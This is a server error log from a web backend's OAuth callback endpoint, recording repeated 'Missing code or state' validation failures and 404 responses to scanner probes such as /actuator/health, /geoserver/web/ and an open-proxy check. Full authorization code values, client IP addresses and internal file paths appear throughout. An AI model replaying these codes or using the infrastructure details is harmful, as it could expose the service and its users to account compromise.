'/idnot/callback?code=eyzP3g1U9rR_eU8posVgD-XrJHNyhgcf7Act7o2BLu3NDffTMYHDf8PnhBa87X1DpVlZiFfpAUZ5sDe0O1wwsLYYJqZG03XR6iy-FUvVRBq4_TBxteN6QlMNBrGZa8PIPLDduSgvTNd9co_9PG2NhvYk5ZDSZcaFVzSWC2IRYZNzKPnOfWd1NMr9aFK62xfpYnzMSER879r-IVOVR92hjXF63MA-TuuxQOO9WQgQ9gRrauQlJTrYIvnnjtoTd3hUjXiaK4wvlRyNNqYSkQXjdF2k4fanB9H4k8ioeQ3i6WcfPYiAoS4bP_DGhDOX4ed_Oso7XTk8RjymKAHVf-mR-of2n-WWQW0jAJFMlaJSFvSgm0KGZvsJcJX_oVQEiZ38dpiEJyVPiGV7WYzOH9Y35gzIl3CcFhAaIz9bqkpHLmZvNKQD_Q5NyaVa-WBoijrIltXfssA016g4qi6q4owykra7hOhH5URlk8_wfpR-jwe80NKZ55vPB0vhso-PWZ07aqc1oHVNpnN2dJGZSQJLm8nTTgEcDlFA7PewIXIg6eWHwUkZmJVLeU6hpAnlfgtUARoCczFcpktRLGzfY2XW-NHec1aIL0VC-7I0giWZtxY', method: 'GET', query: { code_present: true, code_length: 619, state_present: false, state_length: undefined }, headers: { host: 'dev3.4nkweb.com', 'x-forwarded-for': '93.3.5.138', 'x-forwarded-proto': 'https' } } ❌ [ERROR] 2025-09-23T08:04:17.705Z Application error occurred ──────────────────────────────────────────────────────────────────────────────── { error: { code: 'VALIDATION_ERROR', details: [ { constraints: [ 'required' ], field: 'code', value: 'eyzP3g1U9rR_eU8posVgD-XrJHNyhgcf7Act7o2BLu3NDffTMYHDf8PnhBa87X1DpVlZiFfpAUZ5sDe0O1wwsLYYJqZG03XR6iy-FUvVRBq4_TBxteN6QlMNBrGZa8PIPLDduSgvTNd9co_9PG2NhvYk5ZDSZcaFVzSWC2IRYZNzKPnOfWd1NMr9aFK62xfpYnzMSER8'... 419 more characters }, { constraints: [ 'required' ], field: 'state', value: undefined } ], message: 'Missing code or state', stack: 'Error: Missing code or state\n' + ' at new ValidationError (/home/ank/dev/lecoffre-back-mini/dist/types/errors.js:64:9)\n' + ' at /home/ank/dev/lecoffre-back-mini/dist/handlers/idnot-callback.handlers.js:39'... 1445 more characters, statusCode: 400 }, request: { ip: '::ffff:127.0.0.1', method: 'GET', url: '/idnot/callback?code=eyzP3g1U9rR_eU8posVgD-XrJHNyhgcf7Act7o2BLu3NDffTMYHDf8PnhBa87X1DpVlZiFfpAUZ5sDe0O1wwsLYYJqZG03XR6iy-FUvVRBq4_TBxteN6QlMNBrGZa8PIPLDduSgvTNd9co_9PG2NhvYk5ZDSZcaFVzSWC2IRYZNzKPnOfWd'... 440 more characters, userAgent: 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/140.0.0.0 Safari/537.36' }, requestId: 'req_1758614657704_xzlpepwdy' } ❌ [ERROR] 2025-09-23T08:04:17.706Z HTTP GET /idnot/callback?code=eyzP3g1U9rR_eU8posVgD-XrJHNyhgcf7Act7o2BLu3NDffTMYHDf8PnhBa87X1DpVlZiFfpAUZ5sDe0O1wwsLYYJqZG03XR6iy-FUvVRBq4_TBxteN6QlMNBrGZa8PIPLDduSgvTNd9co_9PG2NhvYk5ZDSZcaFVzSWC2IRYZNzKPnOfWd1NMr9aFK62xfpYnzMSER879r-IVOVR92hjXF63MA-TuuxQOO9WQgQ9gRrauQlJTrYIvnnjtoTd3hUjXiaK4wvlRyNNqYSkQXjdF2k4fanB9H4k8ioeQ3i6WcfPYiAoS4bP_DGhDOX4ed_Oso7XTk8RjymKAHVf-mR-of2n-WWQW0jAJFMlaJSFvSgm0KGZvsJcJX_oVQEiZ38dpiEJyVPiGV7WYzOH9Y35gzIl3CcFhAaIz9bqkpHLmZvNKQD_Q5NyaVa-WBoijrIltXfssA016g4qi6q4owykra7hOhH5URlk8_wfpR-jwe80NKZ55vPB0vhso-PWZ07aqc1oHVNpnN2dJGZSQJLm8nTTgEcDlFA7PewIXIg6eWHwUkZmJVLeU6hpAnlfgtUARoCczFcpktRLGzfY2XW-NHec1aIL0VC-7I0giWZtxY - 400 ──────────────────────────────────────────────────────────────────────────────── { duration: 2, request: { ip: '::ffff:127.0.0.1', method: 'GET', url: '/idnot/callback?code=eyzP3g1U9rR_eU8posVgD-XrJHNyhgcf7Act7o2BLu3NDffTMYHDf8PnhBa87X1DpVlZiFfpAUZ5sDe0O1wwsLYYJqZG03XR6iy-FUvVRBq4_TBxteN6QlMNBrGZa8PIPLDduSgvTNd9co_9PG2NhvYk5ZDSZcaFVzSWC2IRYZNzKPnOfWd'... 440 more characters, userAgent: 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/140.0.0.0 Safari/537.36' }, requestId: 'req_1758614657704_xzlpepwdy', response: { statusCode: 400 } } [IdNotCallback] incoming request { originalUrl: '/idnot/callback?code=eyzP3g1U9rR_eU8posVgD-XrJHNyhgcf7Act7o2BLu3NDffTMYHDf8PnhBa87X1DcBOqA7W1KkJ3NDUit-H-u9CobYRLY252eumURrx5hjUxFchely-bEPbLZkRsklV932hYUce9Yl1RzjDme_uT5TOR-qJLwI0TVuRnqMnR46Ce52puPowaW_dH3ev8ERr7uKqsdl1g1wHxjqRTxhC9W7lNHHhj2pkg0yNd5bBgTMy6mGDjmYL2NZ8wA5VeM35V5HIhlrqdBJ54UcDSVyj4WVT9oUJXZhZAPKyFGKx_sN-_TjBaXSclZLwjiyciKuWKBv95-KdmxrZ00Jp7xy2GmVo4ZbNqaDYfQlX0FhAErdN7EAlsSFuRWEPDcuVXO_1S3K_6M5zDM2mgRCtxkJ9sWnE_GrVa-dTfYJP8f_I9vRdDSB47MnGjrDFZEiNdhow8P9vGNFLgz8SlEvLtH66QvjnzvqQ88kxbf_9v0i0mhngc2egC-fNd4N03mr5YyNq_tsqsfFa4mzmTt8MmYGLyplnTqyZrkOhbOpr3WzOGVhBERpUTEqan6aavvRrMt8BBDn_eARdOte614H0wEJtXOJ1x-nJKTbp5Tw18wEBeSIs', method: 'GET', query: { code_present: true, code_length: 619, state_present: false, state_length: undefined }, headers: { host: 'dev3.4nkweb.com', 'x-forwarded-for': '93.3.5.138', 'x-forwarded-proto': 'https' } } ❌ [ERROR] 2025-09-23T08:05:16.945Z Application error occurred ──────────────────────────────────────────────────────────────────────────────── { error: { code: 'VALIDATION_ERROR', details: [ { constraints: [ 'required' ], field: 'code', value: 'eyzP3g1U9rR_eU8posVgD-XrJHNyhgcf7Act7o2BLu3NDffTMYHDf8PnhBa87X1DcBOqA7W1KkJ3NDUit-H-u9CobYRLY252eumURrx5hjUxFchely-bEPbLZkRsklV932hYUce9Yl1RzjDme_uT5TOR-qJLwI0TVuRnqMnR46Ce52puPowaW_dH3ev8ERr7uKqsdl1g'... 419 more characters }, { constraints: [ 'required' ], field: 'state', value: undefined } ], message: 'Missing code or state', stack: 'Error: Missing code or state\n' + ' at new ValidationError (/home/ank/dev/lecoffre-back-mini/dist/types/errors.js:64:9)\n' + ' at /home/ank/dev/lecoffre-back-mini/dist/handlers/idnot-callback.handlers.js:39'... 1445 more characters, statusCode: 400 }, request: { ip: '::ffff:127.0.0.1', method: 'GET', url: '/idnot/callback?code=eyzP3g1U9rR_eU8posVgD-XrJHNyhgcf7Act7o2BLu3NDffTMYHDf8PnhBa87X1DcBOqA7W1KkJ3NDUit-H-u9CobYRLY252eumURrx5hjUxFchely-bEPbLZkRsklV932hYUce9Yl1RzjDme_uT5TOR-qJLwI0TVuRnqMnR46Ce52puPow'... 440 more characters, userAgent: 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/140.0.0.0 Safari/537.36' }, requestId: 'req_1758614716944_wkpqvpx6j' } ❌ [ERROR] 2025-09-23T08:05:16.946Z HTTP GET /idnot/callback?code=eyzP3g1U9rR_eU8posVgD-XrJHNyhgcf7Act7o2BLu3NDffTMYHDf8PnhBa87X1DcBOqA7W1KkJ3NDUit-H-u9CobYRLY252eumURrx5hjUxFchely-bEPbLZkRsklV932hYUce9Yl1RzjDme_uT5TOR-qJLwI0TVuRnqMnR46Ce52puPowaW_dH3ev8ERr7uKqsdl1g1wHxjqRTxhC9W7lNHHhj2pkg0yNd5bBgTMy6mGDjmYL2NZ8wA5VeM35V5HIhlrqdBJ54UcDSVyj4WVT9oUJXZhZAPKyFGKx_sN-_TjBaXSclZLwjiyciKuWKBv95-KdmxrZ00Jp7xy2GmVo4ZbNqaDYfQlX0FhAErdN7EAlsSFuRWEPDcuVXO_1S3K_6M5zDM2mgRCtxkJ9sWnE_GrVa-dTfYJP8f_I9vRdDSB47MnGjrDFZEiNdhow8P9vGNFLgz8SlEvLtH66QvjnzvqQ88kxbf_9v0i0mhngc2egC-fNd4N03mr5YyNq_tsqsfFa4mzmTt8MmYGLyplnTqyZrkOhbOpr3WzOGVhBERpUTEqan6aavvRrMt8BBDn_eARdOte614H0wEJtXOJ1x-nJKTbp5Tw18wEBeSIs - 400 ──────────────────────────────────────────────────────────────────────────────── { duration: 1, request: { ip: '::ffff:127.0.0.1', method: 'GET', url: '/idnot/callback?code=eyzP3g1U9rR_eU8posVgD-XrJHNyhgcf7Act7o2BLu3NDffTMYHDf8PnhBa87X1DcBOqA7W1KkJ3NDUit-H-u9CobYRLY252eumURrx5hjUxFchely-bEPbLZkRsklV932hYUce9Yl1RzjDme_uT5TOR-qJLwI0TVuRnqMnR46Ce52puPow'... 440 more characters, userAgent: 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/140.0.0.0 Safari/537.36' }, requestId: 'req_1758614716944_wkpqvpx6j', response: { statusCode: 400 } } [IdNotCallback] incoming request { originalUrl: '/idnot/callback?code=eyzP3g1U9rR_eU8posVgD-XrJHNyhgcf7Act7o2BLu3NDffTMYHDf8PnhBa87X1DcBOqA7W1KkJ3NDUit-H-u2AlFhQ680zn9PfLimDMKyPfGRz9NA30oDdfnWmnNlHNdjGlsn-BdYyiHJiOf_3EfXM9NQNxY-GyLevGuJh6orDrqESZwi-_76Mbx0K3Z0kR4CraXd9LBMRO-FwcT5TbR2K8lbIWCQx7yZYFI3ygtuNErfGKrxYwG_bn4xkAMz-oeH-oKXZCghq-393Pb7Rrga9vLSLglJ27IClzEbIu1o-hp-hpIrLyysbSPFvIR84CQxQ7YsS3Ic7x2j88IBWQOGGDtrXkBO5rbiSuYX0r9VGCP0M-SbnXlPEIoIB38WNZ2_UwI89PPyecSZfLNP6iSb0gbAuYefeUdKREdgCsstF1U8Zz7sd-FkX0JkuXSTBW1_C7x_HpQ_IL9C2vqAGd1Was2CGYC25fI3MJ_d4AYoKG5wUNwJTFoA0Fj3yy44EDuZQ3nEu5JKluy9VyhhIwf9JZkGaeWuDUQUPLa8Fe4n-2MjuPmILYz8zM3apwmNnc2EIyCEK8ZrzqScMJyZIllClzC2d8bhYud3H6uYNdxB0', method: 'GET', query: { code_present: true, code_length: 619, state_present: false, state_length: undefined }, headers: { host: 'dev3.4nkweb.com', 'x-forwarded-for': '93.3.5.138', 'x-forwarded-proto': 'https' } } ❌ [ERROR] 2025-09-23T08:06:01.148Z Application error occurred ──────────────────────────────────────────────────────────────────────────────── { error: { code: 'VALIDATION_ERROR', details: [ { constraints: [ 'required' ], field: 'code', value: 'eyzP3g1U9rR_eU8posVgD-XrJHNyhgcf7Act7o2BLu3NDffTMYHDf8PnhBa87X1DcBOqA7W1KkJ3NDUit-H-u2AlFhQ680zn9PfLimDMKyPfGRz9NA30oDdfnWmnNlHNdjGlsn-BdYyiHJiOf_3EfXM9NQNxY-GyLevGuJh6orDrqESZwi-_76Mbx0K3Z0kR4CraXd9L'... 419 more characters }, { constraints: [ 'required' ], field: 'state', value: undefined } ], message: 'Missing code or state', stack: 'Error: Missing code or state\n' + ' at new ValidationError (/home/ank/dev/lecoffre-back-mini/dist/types/errors.js:64:9)\n' + ' at /home/ank/dev/lecoffre-back-mini/dist/handlers/idnot-callback.handlers.js:39'... 1445 more characters, statusCode: 400 }, request: { ip: '::ffff:127.0.0.1', method: 'GET', url: '/idnot/callback?code=eyzP3g1U9rR_eU8posVgD-XrJHNyhgcf7Act7o2BLu3NDffTMYHDf8PnhBa87X1DcBOqA7W1KkJ3NDUit-H-u2AlFhQ680zn9PfLimDMKyPfGRz9NA30oDdfnWmnNlHNdjGlsn-BdYyiHJiOf_3EfXM9NQNxY-GyLevGuJh6orDrqESZwi-'... 440 more characters, userAgent: 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/140.0.0.0 Safari/537.36' }, requestId: 'req_1758614761147_co2nbc9wd' } ❌ [ERROR] 2025-09-23T08:06:01.149Z HTTP GET /idnot/callback?code=eyzP3g1U9rR_eU8posVgD-XrJHNyhgcf7Act7o2BLu3NDffTMYHDf8PnhBa87X1DcBOqA7W1KkJ3NDUit-H-u2AlFhQ680zn9PfLimDMKyPfGRz9NA30oDdfnWmnNlHNdjGlsn-BdYyiHJiOf_3EfXM9NQNxY-GyLevGuJh6orDrqESZwi-_76Mbx0K3Z0kR4CraXd9LBMRO-FwcT5TbR2K8lbIWCQx7yZYFI3ygtuNErfGKrxYwG_bn4xkAMz-oeH-oKXZCghq-393Pb7Rrga9vLSLglJ27IClzEbIu1o-hp-hpIrLyysbSPFvIR84CQxQ7YsS3Ic7x2j88IBWQOGGDtrXkBO5rbiSuYX0r9VGCP0M-SbnXlPEIoIB38WNZ2_UwI89PPyecSZfLNP6iSb0gbAuYefeUdKREdgCsstF1U8Zz7sd-FkX0JkuXSTBW1_C7x_HpQ_IL9C2vqAGd1Was2CGYC25fI3MJ_d4AYoKG5wUNwJTFoA0Fj3yy44EDuZQ3nEu5JKluy9VyhhIwf9JZkGaeWuDUQUPLa8Fe4n-2MjuPmILYz8zM3apwmNnc2EIyCEK8ZrzqScMJyZIllClzC2d8bhYud3H6uYNdxB0 - 400 ──────────────────────────────────────────────────────────────────────────────── { duration: 2, request: { ip: '::ffff:127.0.0.1', method: 'GET', url: '/idnot/callback?code=eyzP3g1U9rR_eU8posVgD-XrJHNyhgcf7Act7o2BLu3NDffTMYHDf8PnhBa87X1DcBOqA7W1KkJ3NDUit-H-u2AlFhQ680zn9PfLimDMKyPfGRz9NA30oDdfnWmnNlHNdjGlsn-BdYyiHJiOf_3EfXM9NQNxY-GyLevGuJh6orDrqESZwi-'... 440 more characters, userAgent: 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/140.0.0.0 Safari/537.36' }, requestId: 'req_1758614761147_co2nbc9wd', response: { statusCode: 400 } } [IdNotCallback] incoming request { originalUrl: '/idnot/callback?code=eyzP3g1U9rR_eU8posVgD-XrJHNyhgcf7Act7o2BLu3NDffTMYHDf8PnhBa87X1DsF06U1046MQ_9mOQfqpD8ZWSdyz5lUY-qrHvva5BIxyH6uS1jaouBknAlqluHYUQFcY_pa9ewsbfozuaaEY3yuorydK42qiGyygn-Wv0vVSBkIEtgzEQ2uV1AKKlreAyfFn62vJSm-0iGqHNyVEQtZo4Y1PLDq4hz5mz5dolaa57BsQVq8S05Jr1cLo0DabNqZOTKhuqIaHlYSTA4UIRopq2fzyeklYc-H-Gx0mDUoeugQ64HCwQZXpPBUteUmIGWZaYHwbfcqrDAgvi7d2Jrd74_yYPq0SSlcAJH-NJ6fdN4nA-L8qaBmhm6W5ywhy_C8xGOYl2xLSmdb7OGTItAiUKvRHnbvb46NPNVAV2IFxzuT-KeoxIqz5KJ7R-loZMYpbaB63fhetSoPN5IHw4vlXzyTUMk20Qfwkvvb5q528C6Jb9yBFL-uoexDsbDXrOOrTr0dZBiTMiu_EgbGX_me-gkP7jL_8NaXUHOX6X5p-Txug7_1ketZWB-DLYrcEHrlCkzma7byDGUEYX59Nu-jcN-bPRto-s1pUezKURhfg', method: 'GET', query: { code_present: true, code_length: 619, state_present: false, state_length: undefined }, headers: { host: 'dev3.4nkweb.com', 'x-forwarded-for': '35.171.45.91', 'x-forwarded-proto': 'https' } } ❌ [ERROR] 2025-09-23T08:08:27.926Z Application error occurred ──────────────────────────────────────────────────────────────────────────────── { error: { code: 'VALIDATION_ERROR', details: [ { constraints: [ 'required' ], field: 'code', value: 'eyzP3g1U9rR_eU8posVgD-XrJHNyhgcf7Act7o2BLu3NDffTMYHDf8PnhBa87X1DsF06U1046MQ_9mOQfqpD8ZWSdyz5lUY-qrHvva5BIxyH6uS1jaouBknAlqluHYUQFcY_pa9ewsbfozuaaEY3yuorydK42qiGyygn-Wv0vVSBkIEtgzEQ2uV1AKKlreAyfFn62vJS'... 419 more characters }, { constraints: [ 'required' ], field: 'state', value: undefined } ], message: 'Missing code or state', stack: 'Error: Missing code or state\n' + ' at new ValidationError (/home/ank/dev/lecoffre-back-mini/dist/types/errors.js:64:9)\n' + ' at /home/ank/dev/lecoffre-back-mini/dist/handlers/idnot-callback.handlers.js:39'... 1445 more characters, statusCode: 400 }, request: { ip: '::ffff:127.0.0.1', method: 'GET', url: '/idnot/callback?code=eyzP3g1U9rR_eU8posVgD-XrJHNyhgcf7Act7o2BLu3NDffTMYHDf8PnhBa87X1DsF06U1046MQ_9mOQfqpD8ZWSdyz5lUY-qrHvva5BIxyH6uS1jaouBknAlqluHYUQFcY_pa9ewsbfozuaaEY3yuorydK42qiGyygn-Wv0vVSBkIEtgzE'... 440 more characters, userAgent: 'got (https://github.com/sindresorhus/got)' }, requestId: 'req_1758614907925_mcdsm82r0' } ❌ [ERROR] 2025-09-23T08:08:27.927Z HTTP GET /idnot/callback?code=eyzP3g1U9rR_eU8posVgD-XrJHNyhgcf7Act7o2BLu3NDffTMYHDf8PnhBa87X1DsF06U1046MQ_9mOQfqpD8ZWSdyz5lUY-qrHvva5BIxyH6uS1jaouBknAlqluHYUQFcY_pa9ewsbfozuaaEY3yuorydK42qiGyygn-Wv0vVSBkIEtgzEQ2uV1AKKlreAyfFn62vJSm-0iGqHNyVEQtZo4Y1PLDq4hz5mz5dolaa57BsQVq8S05Jr1cLo0DabNqZOTKhuqIaHlYSTA4UIRopq2fzyeklYc-H-Gx0mDUoeugQ64HCwQZXpPBUteUmIGWZaYHwbfcqrDAgvi7d2Jrd74_yYPq0SSlcAJH-NJ6fdN4nA-L8qaBmhm6W5ywhy_C8xGOYl2xLSmdb7OGTItAiUKvRHnbvb46NPNVAV2IFxzuT-KeoxIqz5KJ7R-loZMYpbaB63fhetSoPN5IHw4vlXzyTUMk20Qfwkvvb5q528C6Jb9yBFL-uoexDsbDXrOOrTr0dZBiTMiu_EgbGX_me-gkP7jL_8NaXUHOX6X5p-Txug7_1ketZWB-DLYrcEHrlCkzma7byDGUEYX59Nu-jcN-bPRto-s1pUezKURhfg - 400 ──────────────────────────────────────────────────────────────────────────────── { duration: 2, request: { ip: '::ffff:127.0.0.1', method: 'GET', url: '/idnot/callback?code=eyzP3g1U9rR_eU8posVgD-XrJHNyhgcf7Act7o2BLu3NDffTMYHDf8PnhBa87X1DsF06U1046MQ_9mOQfqpD8ZWSdyz5lUY-qrHvva5BIxyH6uS1jaouBknAlqluHYUQFcY_pa9ewsbfozuaaEY3yuorydK42qiGyygn-Wv0vVSBkIEtgzE'... 440 more characters, userAgent: 'got (https://github.com/sindresorhus/got)' }, requestId: 'req_1758614907925_mcdsm82r0', response: { statusCode: 400 } } ❌ [ERROR] 2025-09-23T08:14:18.766Z HTTP GET / - 404 ──────────────────────────────────────────────────────────────────────────────── { duration: 1, request: { ip: '::ffff:44.205.255.127', method: 'GET', url: '/', userAgent: 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/136.0.0.0 Safari/537.36' }, requestId: 'req_1758615258765_j2jqllcrl', response: { statusCode: 404 } } ❌ [ERROR] 2025-09-23T08:27:35.299Z HTTP GET / - 404 ──────────────────────────────────────────────────────────────────────────────── { duration: 0, request: { ip: '::ffff:45.135.193.100', method: 'GET', url: '/', userAgent: undefined }, requestId: 'req_1758616055299_hrmvur3fy', response: { statusCode: 404 } } ❌ [ERROR] 2025-09-23T08:30:19.282Z HTTP GET /actuator/health - 404 ──────────────────────────────────────────────────────────────────────────────── { duration: 1, request: { ip: '::ffff:135.237.123.254', method: 'GET', url: '/actuator/health', userAgent: 'Mozilla/5.0 zgrab/0.x' }, requestId: 'req_1758616219281_s3k6h3yq9', response: { statusCode: 404 } } ❌ [ERROR] 2025-09-23T08:52:56.631Z HTTP GET / - 404 ──────────────────────────────────────────────────────────────────────────────── { duration: 0, request: { ip: '::ffff:204.76.203.219', method: 'GET', url: '/', userAgent: 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.85 Safari/537.36 Edg/90.0.818.46' }, requestId: 'req_1758617576631_p059kqai6', response: { statusCode: 404 } } ❌ [ERROR] 2025-09-23T08:53:01.275Z HTTP GET / - 404 ──────────────────────────────────────────────────────────────────────────────── { duration: 1, request: { ip: '::ffff:64.62.197.47', method: 'GET', url: '/', userAgent: 'Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:141.0) Gecko/20100101 Firefox/141.0' }, requestId: 'req_1758617581274_abps747ms', response: { statusCode: 404 } } ❌ [ERROR] 2025-09-23T08:53:39.875Z HTTP GET /favicon.ico - 404 ──────────────────────────────────────────────────────────────────────────────── { duration: 0, request: { ip: '::ffff:64.62.197.47', method: 'GET', url: '/favicon.ico', userAgent: 'Mozilla/5.0 (X11; Linux x86_64; rv:140.0) Gecko/20100101 Firefox/140.0' }, requestId: 'req_1758617619875_hp3ed2t4n', response: { statusCode: 404 } } ❌ [ERROR] 2025-09-23T08:53:58.247Z HTTP GET http://api.ipify.org/?format=json - 404 ──────────────────────────────────────────────────────────────────────────────── { duration: 1, request: { ip: '::ffff:64.62.197.49', method: 'GET', url: 'http://api.ipify.org/?format=json', userAgent: 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/109.0.0.0 Safari/537.36 OPR/95.0.0.0' }, requestId: 'req_1758617638245_zh34b6ujg', response: { statusCode: 404 } } ❌ [ERROR] 2025-09-23T08:54:31.260Z HTTP GET /geoserver/web/ - 404 ──────────────────────────────────────────────────────────────────────────────── { duration: 1, request: { ip: '::ffff:64.62.197.47', method: 'GET', url: '/geoserver/web/', userAgent: 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/109.0.0.0 Safari/537.36 OPR/95.0.0.0' }, requestId: 'req_1758617671259_8e3eq4qgc', response: { statusCode: 404 } } [IdNotCallback] incoming request { originalUrl: '/idnot/callback?code=eyzP3g1U9rR_eU8posVgD-XrJHNyhgcf7Act7o2BLu0HuDB8vSbMR-KkC1KdhYAF8WETlBWfk2dKQdgAjKJ0SY4GZHra1FmyvXnbzj0A824XduflYiXLCZmUxl-42z-Ip0kjdgweCWH7Pm6Om7XQtK0LFvDeQwGmk2RgwxdX-zGAWiLkV54_5HlhrTik-h9JsCbEoRdk30o9ZEBNlqdifhJXkyo4PxrN8TuwM8dFrhmTaFwfaUNclTMiT09UvG5-A20ueSWcCzJNXusPRRoe58cSKnDBKi1Xozk0GeNjN7Or9YKYMmmq6J1x84juQWgTbe1AXUHh7Hoi4hGmiMMDuOrAOoLEYay8i3Vg6Y7bh0LjpF-i5bRlhWhFPVneySUB_RzdXZuJDzkmSyg_ygOtTw4ZK2ZN5S1l09tn2mcfcsVp1R3EB5u6K3K-KFARe_KbYxhxHIZRwR-rE57QmQ0adhozE5iYt1mhLct6hr5NVoZZt1R1Ia24TX2bKGITKqVshyZsmp44hmIyFyMba5W6vJYwta10LwDHjgWVokieDctvDjYdY7LiS5sw3dLWr7w0RQk2r7C8ylq6hd8QjvnOmxGyXTRrqkIUzqUa2j0EOU4', method: 'GET', query: { code_present: true, code_length: 619, state_present: false, state_length: undefined }, headers: { host: 'dev3.4nkweb.com', 'x-forwarded-for': '184.72.115.35', 'x-forwarded-proto': 'https' } } ❌ [ERROR] 2025-09-23T09:05:58.382Z Application error occurred ──────────────────────────────────────────────────────────────────────────────── { error: { code: 'VALIDATION_ERROR', details: [ { constraints: [ 'required' ], field: 'code', value: 'eyzP3g1U9rR_eU8posVgD-XrJHNyhgcf7Act7o2BLu0HuDB8vSbMR-KkC1KdhYAF8WETlBWfk2dKQdgAjKJ0SY4GZHra1FmyvXnbzj0A824XduflYiXLCZmUxl-42z-Ip0kjdgweCWH7Pm6Om7XQtK0LFvDeQwGmk2RgwxdX-zGAWiLkV54_5HlhrTik-h9JsCbEoRdk'... 419 more characters }, { constraints: [ 'required' ], field: 'state', value: undefined } ], message: 'Missing code or state', stack: 'Error: Missing code or state\n' + ' at new ValidationError (/home/ank/dev/lecoffre-back-mini/dist/types/errors.js:64:9)\n' + ' at /home/ank/dev/lecoffre-back-mini/dist/handlers/idnot-callback.handlers.js:39'... 1445 more characters, statusCode: 400 }, request: { ip: '::ffff:127.0.0.1', method: 'GET', url: '/idnot/callback?code=eyzP3g1U9rR_eU8posVgD-XrJHNyhgcf7Act7o2BLu0HuDB8vSbMR-KkC1KdhYAF8WETlBWfk2dKQdgAjKJ0SY4GZHra1FmyvXnbzj0A824XduflYiXLCZmUxl-42z-Ip0kjdgweCWH7Pm6Om7XQtK0LFvDeQwGmk2RgwxdX-zGAWiLkV54'... 440 more characters, userAgent: 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_1) AppleWebKit/600.1.25 (KHTML, like Gecko) Version/8.0 Safari/600.1.25' }, requestId: 'req_1758618358378_pptpe5msl' } ❌ [ERROR] 2025-09-23T09:05:58.383Z HTTP GET /idnot/callback?code=eyzP3g1U9rR_eU8posVgD-XrJHNyhgcf7Act7o2BLu0HuDB8vSbMR-KkC1KdhYAF8WETlBWfk2dKQdgAjKJ0SY4GZHra1FmyvXnbzj0A824XduflYiXLCZmUxl-42z-Ip0kjdgweCWH7Pm6Om7XQtK0LFvDeQwGmk2RgwxdX-zGAWiLkV54_5HlhrTik-h9JsCbEoRdk30o9ZEBNlqdifhJXkyo4PxrN8TuwM8dFrhmTaFwfaUNclTMiT09UvG5-A20ueSWcCzJNXusPRRoe58cSKnDBKi1Xozk0GeNjN7Or9YKYMmmq6J1x84juQWgTbe1AXUHh7Hoi4hGmiMMDuOrAOoLEYay8i3Vg6Y7bh0LjpF-i5bRlhWhFPVneySUB_RzdXZuJDzkmSyg_ygOtTw4ZK2ZN5S1l09tn2mcfcsVp1R3EB5u6K3K-KFARe_KbYxhxHIZRwR-rE57QmQ0adhozE5iYt1mhLct6hr5NVoZZt1R1Ia24TX2bKGITKqVshyZsmp44hmIyFyMba5W6vJYwta10LwDHjgWVokieDctvDjYdY7LiS5sw3dLWr7w0RQk2r7C8ylq6hd8QjvnOmxGyXTRrqkIUzqUa2j0EOU4 - 400 ──────────────────────────────────────────────────────────────────────────────── { duration: 5, request: { ip: '::ffff:127.0.0.1', method: 'GET', url: '/idnot/callback?code=eyzP3g1U9rR_eU8posVgD-XrJHNyhgcf7Act7o2BLu0HuDB8vSbMR-KkC1KdhYAF8WETlBWfk2dKQdgAjKJ0SY4GZHra1FmyvXnbzj0A824XduflYiXLCZmUxl-42z-Ip0kjdgweCWH7Pm6Om7XQtK0LFvDeQwGmk2RgwxdX-zGAWiLkV54'... 440 more characters, userAgent: 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_1) AppleWebKit/600.1.25 (KHTML, like Gecko) Version/8.0 Safari/600.1.25' }, requestId: 'req_1758618358378_pptpe5msl', response: { statusCode: 400 } } ❌ [ERROR] 2025-09-23T09:13:23.965Z HTTP GET / - 404 ──────────────────────────────────────────────────────────────────────────────── { duration: 1, request: { ip: '::ffff:196.251.86.39', method: 'GET', url: '/', userAgent: 'Mozilla/5.0 (Macintosh; Intel Mac OS X 14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/17.2 Safari/605.1.15' }, requestId: 'req_1758618803963_bzqwnzg5q', response: { statusCode: 404 } } [IdNotCallback] incoming request { originalUrl: '/idnot/callback?code=eyzP3g1U9rR_eU8posVgD-XrJHNyhgcf7Act7o2BLu3Rx1_uP2dN9r3mpT3Ahqa6iwIROLLVG-5TpZFa8h_WvT0KuCkwsrDxN1qLAd8H1ODc2yNmHQN5XRZY4TnSqWLuEaR8v2NFLd0WENn-VOCAXe5ky-ns6o9RS8fuJh1_zYuo9sy-E1lOQzl1FMavLpc1tWC7d6jSRn_Pdg4E-sAfsc18zJI8_ywU48FRDD635pPlnCoVWH6xQ44J-X5B_qxiZYIOKJi-4yMOTJLz4g_X94uprPkBaPNvTMK8r8xfmpt9eY2Q8U-wZMYaj3C_y9MaAGpGDgP_sBWWvVqHUTR39Y39umiErrDEGXbcGuI9CPlqRiovj70jfGxlzRooSKEo05jWMO9rG5sH7bM3XD_0rI_6-dd-n2EwoLzN-TIJcRtI5bpuO2cJb7HQ4BQtD5IkrHnbW0ViVfiyGH_GO-xeKjgPCJ3GK3Tq5N90j-4T9gwnvOFJd_4YbEmx7PWj6c-Oz8KFdXUff0O_4VHyN8XMtcqH8Hb8F0LVKGg24nqaKXalh3pyXJ1RthkSAcJVDaRyamMPrKh2VSmp6oJnrnWq6F0gsb9roAOdp-sJIPJzcv0', method: 'GET', query: { code_present: true, code_length: 619, state_present: false, state_length: undefined }, headers: { host: 'dev3.4nkweb.com', 'x-forwarded-for': '54.175.74.27', 